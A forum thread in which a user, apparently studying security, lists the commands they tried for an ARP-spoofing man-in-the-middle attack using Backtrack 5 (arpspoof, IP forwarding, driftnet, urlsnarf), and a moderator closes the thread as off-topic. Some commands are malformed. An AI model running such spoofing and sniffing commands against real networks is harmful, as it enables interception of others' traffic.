Steps to Doing a Man-In-the-Middle Attack with Backtrack 5


Recommended Posts

As part of studying computer security I have been trying to figure out the steps in doing a Man-In-the-Middle attack on my Windows XP computer.  I have tried so many combinations for the IP addresses with no avail.  (On line 7 I did try transposing <default gateway with the inet address with Backtrack 5...I feel like I'm just wasting my time.) These are the steps I have:

 

1 In Backtrack 5 open up XTerminal and type the following:
cat /proc/sys
2 Next type:
cat /proc/sys/net/ipv4/ip_forward
3 If ip forword is set to 0 you'll need to change it to 1 by typing the following:
sudo echo 1 >> cat /proc/sys/net/ipv4/ip_forward
4 Next type:
ifconfig
5 Then get the inet address for ipv4.
6 Open up 2 other xTerminal windows and set them lined up next to each other.
7 Then type the following replacing <ip address> and <default gateway> with the victims machine ip address and default gateway ip address respectively:
sudo arpspoof -i eth0 -t <ip address> <default gateway>
8 Then type the following in the 2nd terminal replacing <ip address> and <default gateway> with the inet address and default gateway ip address respectively:
sudo arpspoof -i eth0 -t <default gateway><ip address>
9 Open up an internet browser in the victims machine machine.
10 Then type the following in the 3rd terminal:
sudo driftnet -i eth0
sudo urlsnarf -i eth0

 

Thanks in advanced for any helpful response.

Link to comment
Share on other sites

This is not the place to post material like this. Circumvention of security is against the topics allowed for discussion, regardless of the intent.

 

Sorry!

 

Thread closed

Link to comment
Share on other sites

This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.